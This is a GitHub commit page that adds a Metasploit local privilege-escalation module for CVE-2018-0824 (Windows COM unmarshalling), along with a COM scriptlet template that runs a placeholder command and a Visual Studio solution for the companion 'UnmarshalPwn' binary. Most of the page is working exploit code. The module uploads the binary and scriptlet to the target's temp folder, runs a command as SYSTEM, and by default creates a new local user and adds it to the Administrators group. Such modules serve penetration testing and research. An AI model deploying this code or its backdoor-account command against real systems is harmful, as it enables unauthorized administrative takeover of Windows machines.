Skip to content

Commit 4735355

Browse files
committed
Get everything together finally (still needs cleanup)
1 parent a6be9e5 commit 4735355

File tree

3 files changed

+222
-0
lines changed

3 files changed

+222
-0
lines changed
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
<?xml version='1.0'?>
2+
<package>
3+
<component id='giffile'>
4+
<registration
5+
description='Dummy'
6+
progid='giffile'
7+
version='1.00'
8+
remotable='True'>
9+
</registration>
10+
<script language='JScript'>
11+
<![CDATA[
12+
var q = new ActiveXObject('Wscript.Shell').Run("SCRIPTED_COMMAND");
13+
]]>
14+
</script>
15+
</component>
16+
</package>
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 2013
4+
VisualStudioVersion = 12.0.21005.1
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UnmarshalPwn", "UnmarshalPwn.vcxproj", "{A6D839B1-7270-4632-BD2E-733A6061E91B}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Win32 = Debug|Win32
11+
Debug|x64 = Debug|x64
12+
Release|Win32 = Release|Win32
13+
Release|x64 = Release|x64
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.ActiveCfg = Debug|Win32
17+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|Win32.Build.0 = Debug|Win32
18+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.ActiveCfg = Debug|x64
19+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Debug|x64.Build.0 = Debug|x64
20+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.ActiveCfg = Release|x64
21+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|Win32.Build.0 = Release|x64
22+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.ActiveCfg = Release|x64
23+
{A6D839B1-7270-4632-BD2E-733A6061E91B}.Release|x64.Build.0 = Release|x64
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
EndGlobal
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
# This module requires Metasploit: https://metasploit.com/download
2+
# Current source: https://github.com/rapid7/metasploit-framework
3+
##
4+
5+
require 'msf/core/post/common'
6+
require 'msf/core/post/file'
7+
require 'msf/core/post/windows/priv'
8+
require 'msf/core/exploit/exe'
9+
10+
class MetasploitModule < Msf::Exploit::Local
11+
Rank = ExcellentRanking
12+
include Msf::Post::Common
13+
include Msf::Post::File
14+
include Msf::Post::Windows::Priv
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Windows unmarshal post exploitation',
19+
'Description' => %q{
20+
This module exploits a local privilege escalation bug which exists
21+
in microsoft COM for windows when it fails to properly handle serialized objects.},
22+
'References' =>
23+
[
24+
['CVE', '2018-0824'],
25+
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
26+
['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
27+
['EDB', '44906']
28+
],
29+
'Author' =>
30+
[
31+
'Nicolas Joly', # Vulnerability discovery
32+
'Matthias Kaiser', # Exploit PoC
33+
'Sanjay Gondaliya', # Modified PoC
34+
'Pratik Shah <pratik@notsosecure.com>' # Metasploit module
35+
],
36+
'DisclosureDate' => 'Aug 05 2018',
37+
'Platform' => ['win'],
38+
'Targets' =>
39+
[
40+
['Windows x64', { 'Arch' => ARCH_X64 }]
41+
],
42+
'License' => MSF_LICENSE,
43+
))
44+
45+
register_options(
46+
[
47+
OptString.new('COMMAND',
48+
[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
49+
OptString.new('EXPLOIT_NAME',
50+
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
51+
OptString.new('SCRIPT_NAME',
52+
[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
53+
OptString.new('PATH',
54+
[false, 'Path to write binaries (%TEMP% by default).', nil]),
55+
])
56+
end
57+
58+
def setup
59+
super
60+
validate_active_host
61+
@cmd_to_run = datastore['COMMAND']
62+
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
63+
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
64+
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
65+
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
66+
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
67+
@exploit_path = "#{temp_path}\\#{exploit_name}"
68+
@script_path = "#{temp_path}\\#{script_name}"
69+
end
70+
71+
def populate_command
72+
username = Rex::Text.rand_text_alpha((rand(8) + 6))
73+
password = Rex::Text.rand_text_alpha((rand(8) + 6))
74+
print_status("username = #{username}, password = #{password}")
75+
cmd_to_run = 'net user /add ' + username + ' ' + password
76+
cmd_to_run += ' & net localgroup administrators /add ' + username
77+
print_status(cmd_to_run)
78+
return cmd_to_run
79+
end
80+
81+
def validate_active_host
82+
begin
83+
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
84+
rescue Rex::Post::Meterpreter::RequestError => e
85+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
86+
raise Msf::Exploit::Failed, 'Could not connect to session'
87+
end
88+
end
89+
90+
def validate_remote_path(path)
91+
unless directory?(path)
92+
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
93+
end
94+
end
95+
96+
def validate_target
97+
if sysinfo['Architecture'] == ARCH_X86
98+
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
99+
end
100+
if sysinfo['OS'] =~ /XP/
101+
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
102+
end
103+
end
104+
105+
def ensure_clean_destination(path)
106+
if file?(path)
107+
print_status("#{path} already exists on the target. Deleting...")
108+
begin
109+
file_rm(path)
110+
print_status("Deleted #{path}")
111+
rescue Rex::Post::Meterpreter::RequestError => e
112+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
113+
print_error("Unable to delete #{path}")
114+
end
115+
end
116+
end
117+
118+
def upload_exploit
119+
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
120+
upload_file(exploit_path, local_exploit_path)
121+
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
122+
end
123+
124+
def upload_script(cmd_to_run)
125+
vprint_status("Creating the sct file with command #{cmd_to_run}")
126+
local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
127+
script_template_data = ::IO.read(local_script_template_path)
128+
vprint_status("script_template_data.length = #{script_template_data.length}")
129+
full_command = 'cmd.exe /c ' + cmd_to_run
130+
script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)
131+
if script_data == nil
132+
fail_with(Failure::BadConfig, "Failed to substitute command in script_template")
133+
end
134+
vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
135+
write_file(script_path, script_data)
136+
vprint_status('Script uploaded successfully')
137+
end
138+
139+
def exploit
140+
if cmd_to_run.nil?
141+
cmd_to_run = populate_command
142+
end
143+
print_status("exploit path is: #{exploit_path}")
144+
print_status("script path is: #{script_path}")
145+
print_status("command is: #{cmd_to_run}")
146+
begin
147+
validate_active_host
148+
validate_target
149+
validate_remote_path(temp_path)
150+
ensure_clean_destination(exploit_path)
151+
ensure_clean_destination(script_path)
152+
vprint_status("Uploading Script to #{script_path}")
153+
upload_script(cmd_to_run)
154+
vprint_status("Uploading Exploit to #{exploit_path}")
155+
upload_exploit
156+
vprint_status('Launching Exploit...')
157+
command_output = cmd_exec(exploit_path + ' ' + script_path)
158+
vprint_status(command_output)
159+
print_good('Exploit completed, wait for elevated session')
160+
ensure_clean_destination(exploit_path)
161+
ensure_clean_destination(script_path)
162+
rescue Rex::Post::Meterpreter::RequestError => e
163+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
164+
print_good('Command failed, cleaning up')
165+
print_error(e.message)
166+
ensure_clean_destination(exploit_path)
167+
ensure_clean_destination(script_path)
168+
end
169+
end
170+
171+
attr_reader :exploit_name
172+
attr_reader :cmd_to_run
173+
attr_reader :script_name
174+
attr_reader :temp_path
175+
attr_reader :exploit_path
176+
attr_reader :script_path
177+
end
178+

0 commit comments

Comments
 (0)